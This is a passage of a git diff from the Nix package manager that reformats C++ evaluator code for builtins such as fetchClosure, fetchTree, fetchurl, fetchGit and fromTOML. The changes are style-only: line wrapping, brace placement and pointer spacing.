- .pos = state.positions[pos] - }); + throw Error( + {.msg = HintFmt( + "rewriting '%s' to content-addressed form yielded '%s'\n" + "Use this value for the 'toPath' attribute passed to 'fetchClosure'", + state.store->printStorePath(fromPath), + state.store->printStorePath(rewrittenPath)), + .pos = state.positions[pos]}); } const auto & toPath = *toPathMaybe; @@ -49,13 +55,12 @@ static void runFetchClosureWithRewrite(EvalState & state, const PosIdx pos, Stor if (!resultInfo->isContentAddressed(*state.store)) { // We don't perform the rewriting when outPath already exists, as an optimisation. // However, we can quickly detect a mistake if the toPath is input addressed. - throw Error({ - .msg = HintFmt( - "The 'toPath' value '%s' is input-addressed, so it can't possibly be the result of rewriting to a content-addressed path.\n\n" - "Set 'toPath' to an empty string to make Nix report the correct content-addressed path.", - state.store->printStorePath(toPath)), - .pos = state.positions[pos] - }); + throw Error( + {.msg = HintFmt( + "The 'toPath' value '%s' is input-addressed, so it can't possibly be the result of rewriting to a content-addressed path.\n\n" + "Set 'toPath' to an empty string to make Nix report the correct content-addressed path.", + state.store->printStorePath(toPath)), + .pos = state.positions[pos]}); } state.mkStorePathString(toPath, v); @@ -64,24 +69,25 @@ static void runFetchClosureWithRewrite(EvalState & state, const PosIdx pos, Stor /** * Fetch the closure and make sure it's content addressed. */ -static void runFetchClosureWithContentAddressedPath(EvalState & state, const PosIdx pos, Store & fromStore, const StorePath & fromPath, Value & v) { +static void runFetchClosureWithContentAddressedPath( + EvalState & state, const PosIdx pos, Store & fromStore, const StorePath & fromPath, Value & v) +{ if (!state.store->isValidPath(fromPath)) - copyClosure(fromStore, *state.store, RealisedPath::Set { fromPath }); + copyClosure(fromStore, *state.store, RealisedPath::Set{fromPath}); auto info = state.store->queryPathInfo(fromPath); if (!info->isContentAddressed(*state.store)) { - throw Error({ - .msg = HintFmt( - "The 'fromPath' value '%s' is input-addressed, but 'inputAddressed' is set to 'false' (default).\n\n" - "If you do intend to fetch an input-addressed store path, add\n\n" - " inputAddressed = true;\n\n" - "to the 'fetchClosure' arguments.\n\n" - "Note that to ensure authenticity input-addressed store paths, users must configure a trusted binary cache public key on their systems. This is not needed for content-addressed paths.", - state.store->printStorePath(fromPath)), - .pos = state.positions[pos] - }); + throw Error( + {.msg = HintFmt( + "The 'fromPath' value '%s' is input-addressed, but 'inputAddressed' is set to 'false' (default).\n\n" + "If you do intend to fetch an input-addressed store path, add\n\n" + " inputAddressed = true;\n\n" + "to the 'fetchClosure' arguments.\n\n" + "Note that to ensure authenticity input-addressed store paths, users must configure a trusted binary cache public key on their systems. This is not needed for content-addressed paths.", + state.store->printStorePath(fromPath)), + .pos = state.positions[pos]}); } state.mkStorePathString(fromPath, v); @@ -90,21 +96,22 @@ static void runFetchClosureWithContentAddressedPath(EvalState & state, const Pos /** * Fetch the closure and make sure it's input addressed. */ -static void runFetchClosureWithInputAddressedPath(EvalState & state, const PosIdx pos, Store & fromStore, const StorePath & fromPath, Value & v) { +static void runFetchClosureWithInputAddressedPath( + EvalState & state, const PosIdx pos, Store & fromStore, const StorePath & fromPath, Value & v) +{ if (!state.store->isValidPath(fromPath)) - copyClosure(fromStore, *state.store, RealisedPath::Set { fromPath }); + copyClosure(fromStore, *state.store, RealisedPath::Set{fromPath}); auto info = state.store->queryPathInfo(fromPath); if (info->isContentAddressed(*state.store)) { - throw Error({ - .msg = HintFmt( - "The store object referred to by 'fromPath' at '%s' is not input-addressed, but 'inputAddressed' is set to 'true'.\n\n" - "Remove the 'inputAddressed' attribute (it defaults to 'false') to expect 'fromPath' to be content-addressed", - state.store->printStorePath(fromPath)), - .pos = state.positions[pos] - }); + throw Error( + {.msg = HintFmt( + "The store object referred to by 'fromPath' at '%s' is not input-addressed, but 'inputAddressed' is set to 'true'.\n\n" + "Remove the 'inputAddressed' attribute (it defaults to 'false') to expect 'fromPath' to be content-addressed", + state.store->printStorePath(fromPath)), + .pos = state.positions[pos]}); } state.mkStorePathString(fromPath, v); @@ -112,7 +119,7 @@ static void runFetchClosureWithInputAddressedPath(EvalState & state, const PosId typedef std::optional StorePathOrGap; -static void prim_fetchClosure(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_fetchClosure(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceAttrs(*args[0], pos, "while evaluating the argument passed to builtins.fetchClosure"); @@ -136,67 +143,58 @@ static void prim_fetchClosure(EvalState & state, const PosIdx pos, Value * * arg state.forceValue(*attr.value, attr.pos); bool isEmptyString = attr.value->type() == nString && attr.value->string_view() == ""; if (isEmptyString) { - toPath = StorePathOrGap {}; - } - else { + toPath = StorePathOrGap{}; + } else { NixStringContext context; toPath = state.coerceToStorePath(attr.pos, *attr.value, context, attrHint()); } } else if (attrName == "fromStore") - fromStoreUrl = state.forceStringNoCtx(*attr.value, attr.pos, - attrHint()); + fromStoreUrl = state.forceStringNoCtx(*attr.value, attr.pos, attrHint()); else if (attrName == "inputAddressed") inputAddressedMaybe = state.forceBool(*attr.value, attr.pos, attrHint()); else - throw Error({ - .msg = HintFmt("attribute '%s' isn't supported in call to 'fetchClosure'", attrName), - .pos = state.positions[pos] - }); + throw Error( + {.msg = HintFmt("attribute '%s' isn't supported in call to 'fetchClosure'", attrName), + .pos = state.positions[pos]}); } if (!fromPath) - throw Error({ - .msg = HintFmt("attribute '%s' is missing in call to 'fetchClosure'", "fromPath"), - .pos = state.positions[pos] - }); + throw Error( + {.msg = HintFmt("attribute '%s' is missing in call to 'fetchClosure'", "fromPath"), + .pos = state.positions[pos]}); bool inputAddressed = inputAddressedMaybe.value_or(false); if (inputAddressed) { if (toPath) - throw Error({ - .msg = HintFmt("attribute '%s' is set to true, but '%s' is also set. Please remove one of them", - "inputAddressed", - "toPath"), - .pos = state.positions[pos] - }); + throw Error( + {.msg = HintFmt( + "attribute '%s' is set to true, but '%s' is also set. Please remove one of them", + "inputAddressed", + "toPath"), + .pos = state.positions[pos]}); } if (!fromStoreUrl) - throw Error({ - .msg = HintFmt("attribute '%s' is missing in call to 'fetchClosure'", "fromStore"), - .pos = state.positions[pos] - }); + throw Error( + {.msg = HintFmt("attribute '%s' is missing in call to 'fetchClosure'", "fromStore"), + .pos = state.positions[pos]}); auto parsedURL = parseURL(*fromStoreUrl); - if (parsedURL.scheme != "http" && - parsedURL.scheme != "https" && - !(getEnv("_NIX_IN_TEST").has_value() && parsedURL.scheme == "file")) - throw Error({ - .msg = HintFmt("'fetchClosure' only supports http:// and https:// stores"), - .pos = state.positions[pos] - }); + if (parsedURL.scheme != "http" && parsedURL.scheme != "https" + && !(getEnv("_NIX_IN_TEST").has_value() && parsedURL.scheme == "file")) + throw Error( + {.msg = HintFmt("'fetchClosure' only supports http:// and https:// stores"), .pos = state.positions[pos]}); if (!parsedURL.query.empty()) - throw Error({ - .msg = HintFmt("'fetchClosure' does not support URL query parameters (in '%s')", *fromStoreUrl), - .pos = state.positions[pos] - }); + throw Error( + {.msg = HintFmt("'fetchClosure' does not support URL query parameters (in '%s')", *fromStoreUrl), + .pos = state.positions[pos]}); auto fromStore = openStore(parsedURL.to_string()); diff --git a/src/libexpr/primops/fetchMercurial.cc b/src/libexpr/primops/fetchMercurial.cc index 189bd1f73..9b3fab7af 100644 --- a/src/libexpr/primops/fetchMercurial.cc +++ b/src/libexpr/primops/fetchMercurial.cc @@ -8,7 +8,7 @@ namespace nix { -static void prim_fetchMercurial(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_fetchMercurial(EvalState & state, const PosIdx pos, Value ** args, Value & v) { std::string url; std::optional rev; @@ -23,31 +23,46 @@ static void prim_fetchMercurial(EvalState & state, const PosIdx pos, Value * * a for (auto & attr : *args[0]->attrs()) { std::string_view n(state.symbols[attr.name]); if (n == "url") - url = state.coerceToString(attr.pos, *attr.value, context, - "while evaluating the `url` attribute passed to builtins.fetchMercurial", - false, false).toOwned(); + url = state + .coerceToString( + attr.pos, + *attr.value, + context, + "while evaluating the `url` attribute passed to builtins.fetchMercurial", + false, + false) + .toOwned(); else if (n == "rev") { // Ugly: unlike fetchGit, here the "rev" attribute can // be both a revision or a branch/tag name. - auto value = state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the `rev` attribute passed to builtins.fetchMercurial"); + auto value = state.forceStringNoCtx( + *attr.value, attr.pos, "while evaluating the `rev` attribute passed to builtins.fetchMercurial"); if (std::regex_match(value.begin(), value.end(), revRegex)) rev = Hash::parseAny(value, HashAlgorithm::SHA1); else ref = value; - } - else if (n == "name") - name = state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the `name` attribute passed to builtins.fetchMercurial"); + } else if (n == "name") + name = state.forceStringNoCtx( + *attr.value, attr.pos, "while evaluating the `name` attribute passed to builtins.fetchMercurial"); else - state.error("unsupported argument '%s' to 'fetchMercurial'", state.symbols[attr.name]).atPos(attr.pos).debugThrow(); + state.error("unsupported argument '%s' to 'fetchMercurial'", state.symbols[attr.name]) + .atPos(attr.pos) + .debugThrow(); } if (url.empty()) state.error("'url' argument required").atPos(pos).debugThrow(); } else - url = state.coerceToString(pos, *args[0], context, - "while evaluating the first argument passed to builtins.fetchMercurial", - false, false).toOwned(); + url = state + .coerceToString( + pos, + *args[0], + context, + "while evaluating the first argument passed to builtins.fetchMercurial", + false, + false) + .toOwned(); // FIXME: git externals probably can be used to bypass the URI // whitelist. Ah well. @@ -60,8 +75,10 @@ static void prim_fetchMercurial(EvalState & state, const PosIdx pos, Value * * a attrs.insert_or_assign("type", "hg"); attrs.insert_or_assign("url", url.find("://") != std::string::npos ? url : "file://" + url); attrs.insert_or_assign("name", std::string(name)); - if (ref) attrs.insert_or_assign("ref", *ref); - if (rev) attrs.insert_or_assign("rev", rev->gitRev()); + if (ref) + attrs.insert_or_assign("ref", *ref); + if (rev) + attrs.insert_or_assign("rev", rev->gitRev()); auto input = fetchers::Input::fromAttrs(state.fetchSettings, std::move(attrs)); auto [storePath, input2] = input.fetchToStore(state.store); @@ -82,10 +99,6 @@ static void prim_fetchMercurial(EvalState & state, const PosIdx pos, Value * * a state.allowPath(storePath); } -static RegisterPrimOp r_fetchMercurial({ - .name = "fetchMercurial", - .arity = 1, - .fun = prim_fetchMercurial -}); +static RegisterPrimOp r_fetchMercurial({.name = "fetchMercurial", .arity = 1, .fun = prim_fetchMercurial}); } diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc index 0be9f4bdc..2d27affeb 100644 --- a/src/libexpr/primops/fetchTree.cc +++ b/src/libexpr/primops/fetchTree.cc @@ -37,8 +37,7 @@ void emitTreeAttrs( attrs.alloc("narHash").mkString(narHash->to_string(HashFormat::SRI, true)); if (input.getType() == "git") - attrs.alloc("submodules").mkBool( - fetchers::maybeGetBoolAttr(input.attrs, "submodules").value_or(false)); + attrs.alloc("submodules").mkBool(fetchers::maybeGetBoolAttr(input.attrs, "submodules").value_or(false)); if (!forceDirty) { @@ -56,7 +55,6 @@ void emitTreeAttrs( attrs.alloc("revCount").mkInt(*revCount); else if (emptyRevFallback) attrs.alloc("revCount").mkInt(0); - } if (auto dirtyRev = fetchers::maybeGetStrAttr(input.attrs, "dirtyRev")) { @@ -66,14 +64,14 @@ void emitTreeAttrs( if (auto lastModified = input.getLastModified()) { attrs.alloc("lastModified").mkInt(*lastModified); - attrs.alloc("lastModifiedDate").mkString( - fmt("%s", std::put_time(std::gmtime(&*lastModified), "%Y%m%d%H%M%S"))); + attrs.alloc("lastModifiedDate").mkString(fmt("%s", std::put_time(std::gmtime(&*lastModified), "%Y%m%d%H%M%S"))); } v.mkAttrs(attrs); } -struct FetchTreeParams { +struct FetchTreeParams +{ bool emptyRevFallback = false; bool allowNameArgument = false; bool isFetchGit = false; @@ -81,17 +79,14 @@ struct FetchTreeParams { }; static void fetchTree( - EvalState & state, - const PosIdx pos, - Value * * args, - Value & v, - const FetchTreeParams & params = FetchTreeParams{} -) { - fetchers::Input input { state.fetchSettings }; + EvalState & state, const PosIdx pos, Value ** args, Value & v, const FetchTreeParams & params = FetchTreeParams{}) +{ + fetchers::Input input{state.fetchSettings}; NixStringContext context; std::optional type; auto fetcher = params.isFetchGit ? "fetchGit" : "fetchTree"; - if (params.isFetchGit) type = "git"; + if (params.isFetchGit) + type = "git"; state.forceValue(*args[0], pos); @@ -102,47 +97,55 @@ static void fetchTree( if (auto aType = args[0]->attrs()->get(state.sType)) { if (type) - state.error( - "unexpected argument 'type'" - ).atPos(pos).debugThrow(); - type = state.forceStringNoCtx(*aType->value, aType->pos, - fmt("while evaluating the `type` argument passed to '%s'", fetcher)); + state.error("unexpected argument 'type'").atPos(pos).debugThrow(); + type = state.forceStringNoCtx( + *aType->value, aType->pos, fmt("while evaluating the `type` argument passed to '%s'", fetcher)); } else if (!type) - state.error( - "argument 'type' is missing in call to '%s'", fetcher - ).atPos(pos).debugThrow(); + state.error("argument 'type' is missing in call to '%s'", fetcher).atPos(pos).debugThrow(); attrs.emplace("type", type.value()); for (auto & attr : *args[0]->attrs()) { - if (attr.name == state.sType) continue; + if (attr.name == state.sType) + continue; state.forceValue(*attr.value, attr.pos); if (attr.value->type() == nPath || attr.value->type() == nString) { auto s = state.coerceToString(attr.pos, *attr.value, context, "", false, false).toOwned(); - attrs.emplace(state.symbols[attr.name], - params.isFetchGit && state.symbols[attr.name] == "url" - ? fixGitURL(s) - : s); - } - else if (attr.value->type() == nBool) + attrs.emplace( + state.symbols[attr.name], + params.isFetchGit && state.symbols[attr.name] == "url" ? fixGitURL(s) : s); + } else if (attr.value->type() == nBool) attrs.emplace(state.symbols[attr.name], Explicit{attr.value->boolean()}); else if (attr.value->type() == nInt) { auto intValue = attr.value->integer().value; if (intValue < 0) - state.error("negative value given for '%s' argument '%s': %d", fetcher, state.symbols[attr.name], intValue).atPos(pos).debugThrow(); + state + .error( + "negative value given for '%s' argument '%s': %d", + fetcher, + state.symbols[attr.name], + intValue) + .atPos(pos) + .debugThrow(); attrs.emplace(state.symbols[attr.name], uint64_t(intValue)); } else if (state.symbols[attr.name] == "publicKeys") { experimentalFeatureSettings.require(Xp::VerifiedFetches); - attrs.emplace(state.symbols[attr.name], printValueAsJSON(state, true, *attr.value, pos, context).dump()); - } - else - state.error("argument '%s' to '%s' is %s while a string, Boolean or integer is expected", - state.symbols[attr.name], fetcher, showType(*attr.value)).debugThrow(); + attrs.emplace( + state.symbols[attr.name], printValueAsJSON(state, true, *attr.value, pos, context).dump()); + } else + state + .error( + "argument '%s' to '%s' is %s while a string, Boolean or integer is expected", + state.symbols[attr.name], + fetcher, + showType(*attr.value)) + .debugThrow(); } - if (params.isFetchGit && !attrs.contains("exportIgnore") && (!attrs.contains("submodules") || !*fetchers::maybeGetBoolAttr(attrs, "submodules"))) { + if (params.isFetchGit && !attrs.contains("exportIgnore") + && (!attrs.contains("submodules") || !*fetchers::maybeGetBoolAttr(attrs, "submodules"))) { attrs.emplace("exportIgnore", Explicit{true}); } @@ -153,29 +156,38 @@ static void fetchTree( if (!params.allowNameArgument) if (auto nameIter = attrs.find("name"); nameIter != attrs.end()) - state.error( - "argument 'name' isn’t supported in call to '%s'", fetcher - ).atPos(pos).debugThrow(); + state.error("argument 'name' isn’t supported in call to '%s'", fetcher) + .atPos(pos) + .debugThrow(); input = fetchers::Input::fromAttrs(state.fetchSettings, std::move(attrs)); } else { - auto url = state.coerceToString(pos, *args[0], context, - fmt("while evaluating the first argument passed to '%s'", fetcher), - false, false).toOwned(); + auto url = state + .coerceToString( + pos, + *args[0], + context, + fmt("while evaluating the first argument passed to '%s'", fetcher), + false, + false) + .toOwned(); if (params.isFetchGit) { fetchers::Attrs attrs; attrs.emplace("type", "git"); attrs.emplace("url", fixGitURL(url)); - if (!attrs.contains("exportIgnore") && (!attrs.contains("submodules") || !*fetchers::maybeGetBoolAttr(attrs, "submodules"))) { + if (!attrs.contains("exportIgnore") + && (!attrs.contains("submodules") || !*fetchers::maybeGetBoolAttr(attrs, "submodules"))) { attrs.emplace("exportIgnore", Explicit{true}); } input = fetchers::Input::fromAttrs(state.fetchSettings, std::move(attrs)); } else { if (!experimentalFeatureSettings.isEnabled(Xp::Flakes)) - state.error( - "passing a string argument to '%s' requires the 'flakes' experimental feature", fetcher - ).atPos(pos).debugThrow(); + state + .error( + "passing a string argument to '%s' requires the 'flakes' experimental feature", fetcher) + .atPos(pos) + .debugThrow(); input = fetchers::Input::fromURL(state.fetchSettings, url); } } @@ -190,9 +202,11 @@ static void fetchTree( "This is deprecated since such inputs are verifiable but may not be reproducible.", input.to_string()); else - state.error( - "in pure evaluation mode, '%s' will not fetch unlocked input '%s'", - fetcher, input.to_string()).atPos(pos).debugThrow(); + state + .error( + "in pure evaluation mode, '%s' will not fetch unlocked input '%s'", fetcher, input.to_string()) + .atPos(pos) + .debugThrow(); } state.checkURI(input.toURLString()); @@ -211,9 +225,9 @@ static void fetchTree( emitTreeAttrs(state, storePath, input2, v, params.emptyRevFallback, false); } -static void prim_fetchTree(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_fetchTree(EvalState & state, const PosIdx pos, Value ** args, Value & v) { - fetchTree(state, pos, args, v, { }); + fetchTree(state, pos, args, v, {}); } static RegisterPrimOp primop_fetchTree({ @@ -446,7 +460,7 @@ static RegisterPrimOp primop_fetchTree({ .experimentalFeature = Xp::FetchTree, }); -void prim_fetchFinalTree(EvalState & state, const PosIdx pos, Value * * args, Value & v) +void prim_fetchFinalTree(EvalState & state, const PosIdx pos, Value ** args, Value & v) { fetchTree(state, pos, args, v, {.isFinal = true}); } @@ -458,8 +472,14 @@ static RegisterPrimOp primop_fetchFinalTree({ .internal = true, }); -static void fetch(EvalState & state, const PosIdx pos, Value * * args, Value & v, - const std::string & who, bool unpack, std::string name) +static void fetch( + EvalState & state, + const PosIdx pos, + Value ** args, + Value & v, + const std::string & who, + bool unpack, + std::string name) { std::optional url; std::optional expectedHash; @@ -476,19 +496,20 @@ static void fetch(EvalState & state, const PosIdx pos, Value * * args, Value & v if (n == "url") url = state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the url we should fetch"); else if (n == "sha256") - expectedHash = newHashAllowEmpty(state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the sha256 of the content we should fetch"), HashAlgorithm::SHA256); + expectedHash = newHashAllowEmpty( + state.forceStringNoCtx( + *attr.value, attr.pos, "while evaluating the sha256 of the content we should fetch"), + HashAlgorithm::SHA256); else if (n == "name") { nameAttrPassed = true; - name = state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the name of the content we should fetch"); - } - else - state.error("unsupported argument '%s' to '%s'", n, who) - .atPos(pos).debugThrow(); + name = state.forceStringNoCtx( + *attr.value, attr.pos, "while evaluating the name of the content we should fetch"); + } else + state.error("unsupported argument '%s' to '%s'", n, who).atPos(pos).debugThrow(); } if (!url) - state.error( - "'url' argument required").atPos(pos).debugThrow(); + state.error("'url' argument required").atPos(pos).debugThrow(); } else url = state.forceStringNoCtx(*args[0], pos, "while evaluating the url we should fetch"); @@ -504,27 +525,41 @@ static void fetch(EvalState & state, const PosIdx pos, Value * * args, Value & v checkName(name); } catch (BadStorePathName & e) { auto resolution = - nameAttrPassed ? HintFmt("Please change the value for the 'name' attribute passed to '%s', so that it can create a valid store path.", who) : - isArgAttrs ? HintFmt("Please add a valid 'name' attribute to the argument for '%s', so that it can create a valid store path.", who) : - HintFmt("Please pass an attribute set with 'url' and 'name' attributes to '%s', so that it can create a valid store path.", who); + nameAttrPassed + ? HintFmt( + "Please change the value for the 'name' attribute passed to '%s', so that it can create a valid store path.", + who) + : isArgAttrs + ? HintFmt( + "Please add a valid 'name' attribute to the argument for '%s', so that it can create a valid store path.", + who) + : HintFmt( + "Please pass an attribute set with 'url' and 'name' attributes to '%s', so that it can create a valid store path.", + who); - state.error( - std::string("invalid store path name when fetching URL '%s': %s. %s"), *url, Uncolored(e.message()), Uncolored(resolution.str())) - .atPos(pos).debugThrow(); + state + .error( + std::string("invalid store path name when fetching URL '%s': %s. %s"), + *url, + Uncolored(e.message()), + Uncolored(resolution.str())) + .atPos(pos) + .debugThrow(); } if (state.settings.pureEval && !expectedHash) - state.error("in pure evaluation mode, '%s' requires a 'sha256' argument", who).atPos(pos).debugThrow(); + state.error("in pure evaluation mode, '%s' requires a 'sha256' argument", who) + .atPos(pos) + .debugThrow(); // early exit if pinned and already in the store if (expectedHash && expectedHash->algo == HashAlgorithm::SHA256) { auto expectedPath = state.store->makeFixedOutputPath( name, - FixedOutputInfo { + FixedOutputInfo{ .method = unpack ? FileIngestionMethod::NixArchive : FileIngestionMethod::Flat, .hash = *expectedHash, - .references = {} - }); + .references = {}}); if (state.store->isValidPath(expectedPath)) { state.allowAndSetStorePathString(expectedPath, v); @@ -534,34 +569,32 @@ static void fetch(EvalState & state, const PosIdx pos, Value * * args, Value & v // TODO: fetching may fail, yet the path may be substitutable. // https://github.com/NixOS/nix/issues/4313 - auto storePath = - unpack - ? fetchToStore( - *state.store, - fetchers::downloadTarball(state.store, state.fetchSettings, *url), - FetchMode::Copy, - name) - : fetchers::downloadFile(state.store, *url, name).storePath; + auto storePath = unpack ? fetchToStore( + *state.store, + fetchers::downloadTarball(state.store, state.fetchSettings, *url), + FetchMode::Copy, + name) + : fetchers::downloadFile(state.store, *url, name).storePath; if (expectedHash) { - auto hash = unpack - ? state.store->queryPathInfo(storePath)->narHash - : hashFile(HashAlgorithm::SHA256, state.store->toRealPath(storePath)); + auto hash = unpack ? state.store->queryPathInfo(storePath)->narHash + : hashFile(HashAlgorithm::SHA256, state.store->toRealPath(storePath)); if (hash != *expectedHash) { - state.error( - "hash mismatch in file downloaded from '%s':\n specified: %s\n got: %s", - *url, - expectedHash->to_string(HashFormat::Nix32, true), - hash.to_string(HashFormat::Nix32, true) - ).withExitStatus(102) - .debugThrow(); + state + .error( + "hash mismatch in file downloaded from '%s':\n specified: %s\n got: %s", + *url, + expectedHash->to_string(HashFormat::Nix32, true), + hash.to_string(HashFormat::Nix32, true)) + .withExitStatus(102) + .debugThrow(); } } state.allowAndSetStorePathString(storePath, v); } -static void prim_fetchurl(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_fetchurl(EvalState & state, const PosIdx pos, Value ** args, Value & v) { fetch(state, pos, args, v, "fetchurl", false, ""); } @@ -587,7 +620,7 @@ static RegisterPrimOp primop_fetchurl({ .fun = prim_fetchurl, }); -static void prim_fetchTarball(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_fetchTarball(EvalState & state, const PosIdx pos, Value ** args, Value & v) { fetch(state, pos, args, v, "fetchTarball", true, "source"); } @@ -637,14 +670,10 @@ static RegisterPrimOp primop_fetchTarball({ .fun = prim_fetchTarball, }); -static void prim_fetchGit(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_fetchGit(EvalState & state, const PosIdx pos, Value ** args, Value & v) { - fetchTree(state, pos, args, v, - FetchTreeParams { - .emptyRevFallback = true, - .allowNameArgument = true, - .isFetchGit = true - }); + fetchTree( + state, pos, args, v, FetchTreeParams{.emptyRevFallback = true, .allowNameArgument = true, .isFetchGit = true}); } static RegisterPrimOp primop_fetchGit({ diff --git a/src/libexpr/primops/fromTOML.cc b/src/libexpr/primops/fromTOML.cc index 2a29e0424..29164d459 100644 --- a/src/libexpr/primops/fromTOML.cc +++ b/src/libexpr/primops/fromTOML.cc @@ -7,7 +7,7 @@ namespace nix { -static void prim_fromTOML(EvalState & state, const PosIdx pos, Value * * args, Value & val) +static void prim_fromTOML(EvalState & state, const PosIdx pos, Value ** args, Value & val) { auto toml = state.forceStringNoCtx(*args[0], pos, "while evaluating the argument passed to builtins.fromTOML"); @@ -16,75 +16,75 @@ static void prim_fromTOML(EvalState & state, const PosIdx pos, Value * * args, V std::function visit; visit = [&](Value & v, toml::value t) { + switch (t.type()) { + case toml::value_t::table: { + auto table = toml::get(t); - switch(t.type()) - { - case toml::value_t::table: - { - auto table = toml::get(t); + size_t size = 0; + for (auto & i : table) { + (void) i; + size++; + } - size_t size = 0; - for (auto & i : table) { (void) i; size++; } + auto attrs = state.buildBindings(size); - auto attrs = state.buildBindings(size); + for (auto & elem : table) { + forceNoNullByte(elem.first); + visit(attrs.alloc(elem.first), elem.second); + } - for(auto & elem : table) { - forceNoNullByte(elem.first); - visit(attrs.alloc(elem.first), elem.second); - } - - v.mkAttrs(attrs); - } - break;; - case toml::value_t::array: - { - auto array = toml::get>(t); - - auto list = state.buildList(array.size()); - for (const auto & [n, v] : enumerate(list)) - visit(*(v = state.allocValue()), array[n]); - v.mkList(list); - } - break;; - case toml::value_t::boolean: - v.mkBool(toml::get(t)); - break;; - case toml::value_t::integer: - v.mkInt(toml::get(t)); - break;; - case toml::value_t::floating: - v.mkFloat(toml::get(t)); - break;; - case toml::value_t::string: - { - auto s = toml::get(t); - forceNoNullByte(s); - v.mkString(s); - } - break;; - case toml::value_t::local_datetime: - case toml::value_t::offset_datetime: - case toml::value_t::local_date: - case toml::value_t::local_time: - { - if (experimentalFeatureSettings.isEnabled(Xp::ParseTomlTimestamps)) { - auto attrs = state.buildBindings(2); - attrs.alloc("_type").mkString("timestamp"); - std::ostringstream s; - s << t; - auto str = toView(s); - forceNoNullByte(str); - attrs.alloc("value").mkString(str); - v.mkAttrs(attrs); - } else { - throw std::runtime_error("Dates and times are not supported"); - } - } - break;; - case toml::value_t::empty: - v.mkNull(); - break;; + v.mkAttrs(attrs); + } break; + ; + case toml::value_t::array: { + auto array = toml::get>(t); + auto list = state.buildList(array.size()); + for (const auto & [n, v] : enumerate(list)) + visit(*(v = state.allocValue()), array[n]); + v.mkList(list); + } break; + ; + case toml::value_t::boolean: + v.mkBool(toml::get(t)); + break; + ; + case toml::value_t::integer: + v.mkInt(toml::get(t)); + break; + ; + case toml::value_t::floating: + v.mkFloat(toml::get(t)); + break; + ; + case toml::value_t::string: { + auto s = toml::get(t); + forceNoNullByte(s); + v.mkString(s); + } break; + ; + case toml::value_t::local_datetime: + case toml::value_t::offset_datetime: + case toml::value_t::local_date: + case toml::value_t::local_time: { + if (experimentalFeatureSettings.isEnabled(Xp::ParseTomlTimestamps)) { + auto attrs = state.buildBindings(2); + attrs.alloc("_type").mkString("timestamp"); + std::ostringstream s; + s << t; + auto str = toView(s); + forceNoNullByte(str); + attrs.alloc("value").mkString(str); + v.mkAttrs(attrs); + } else { + throw std::runtime_error("Dates and times are not supported"); + } + } break; + ; + case toml::value_t::empty: + v.mkNull(); + break; + ; } }; @@ -95,10 +95,10 @@ static void prim_fromTOML(EvalState & state, const PosIdx pos, Value * * args, V } } -static RegisterPrimOp primop_fromTOML({ - .name = "fromTOML", - .args = {"e"}, - .doc = R"( +static RegisterPrimOp primop_fromTOML( + {.name = "fromTOML", + .args = {"e"}, + .doc = R"( Convert a TOML string to a Nix value. For example, ```nix @@ -112,7 +112,6 @@ static RegisterPrimOp primop_fromTOML({ returns the value `{ s = "a"; table = { y = 2; }; x = 1; }`. )", - .fun = prim_fromTOML -}); + .fun = prim_fromTOML}); } diff --git a/src/libexpr/print-ambiguous.cc b/src/libexpr/print-ambiguous.cc index 0646783c2..41c30b6dd 100644 --- a/src/libexpr/print-ambiguous.cc +++ b/src/libexpr/print-ambiguous.cc @@ -7,11 +7,7 @@ namespace nix { // See: https://github.com/NixOS/nix/issues/9730 void printAmbiguous( - Value &v, - const SymbolTable &symbols, - std::ostream &str, - std::set *seen, - int depth) + Value & v, const SymbolTable & symbols, std::ostream & str, std::set * seen, int depth) { checkInterrupt(); diff --git a/src/libexpr/print.cc b/src/libexpr/print.cc index 06bae9c5c..f0e3044ae 100644 --- a/src/libexpr/print.cc +++ b/src/libexpr/print.cc @@ -28,9 +28,7 @@ void printElided( output << ANSI_NORMAL; } - -std::ostream & -printLiteralString(std::ostream & str, const std::string_view string, size_t maxLength, bool ansiColors) +std::ostream & printLiteralString(std::ostream & str, const std::string_view string, size_t maxLength, bool ansiColors) { size_t charsPrinted = 0; if (ansiColors) @@ -43,12 +41,18 @@ printLiteralString(std::ostream & str, const std::string_view string, size_t max return str; } - if (*i == '\"' || *i == '\\') str << "\\" << *i; - else if (*i == '\n') str << "\\n"; - else if (*i == '\r') str << "\\r"; - else if (*i == '\t') str << "\\t"; - else if (*i == '$' && *(i+1) == '{') str << "\\" << *i; - else str << *i; + if (*i == '\"' || *i == '\\') + str << "\\" << *i; + else if (*i == '\n') + str << "\\n"; + else if (*i == '\r') + str << "\\r"; + else if (*i == '\t') + str << "\\t"; + else if (*i == '$' && *(i + 1) == '{') + str << "\\" << *i; + else + str << *i; charsPrinted++; } str << "\""; @@ -57,14 +61,12 @@ printLiteralString(std::ostream & str, const std::string_view string, size_t max return str; } -std::ostream & -printLiteralString(std::ostream & str, const std::string_view string) +std::ostream & printLiteralString(std::ostream & str, const std::string_view string) { return printLiteralString(str, string, std::numeric_limits::max(), false); } -std::ostream & -printLiteralBool(std::ostream & str, bool boolean) +std::ostream & printLiteralBool(std::ostream & str, bool boolean) { str << (boolean ? "true" : "false"); return str; @@ -80,13 +82,12 @@ printLiteralBool(std::ostream & str, bool boolean) bool isReservedKeyword(const std::string_view str) { static const std::unordered_set reservedKeywords = { - "if", "then", "else", "assert", "with", "let", "in", "rec", "inherit" - }; + "if", "then", "else", "assert", "with", "let", "in", "rec", "inherit"}; return reservedKeywords.contains(str); } -std::ostream & -printIdentifier(std::ostream & str, std::string_view s) { +std::ostream & printIdentifier(std::ostream & str, std::string_view s) +{ if (s.empty()) str << "\"\""; else if (isReservedKeyword(s)) @@ -98,10 +99,8 @@ printIdentifier(std::ostream & str, std::string_view s) { return str; } for (auto c : s) - if (!((c >= 'a' && c <= 'z') || - (c >= 'A' && c <= 'Z') || - (c >= '0' && c <= '9') || - c == '_' || c == '\'' || c == '-')) { + if 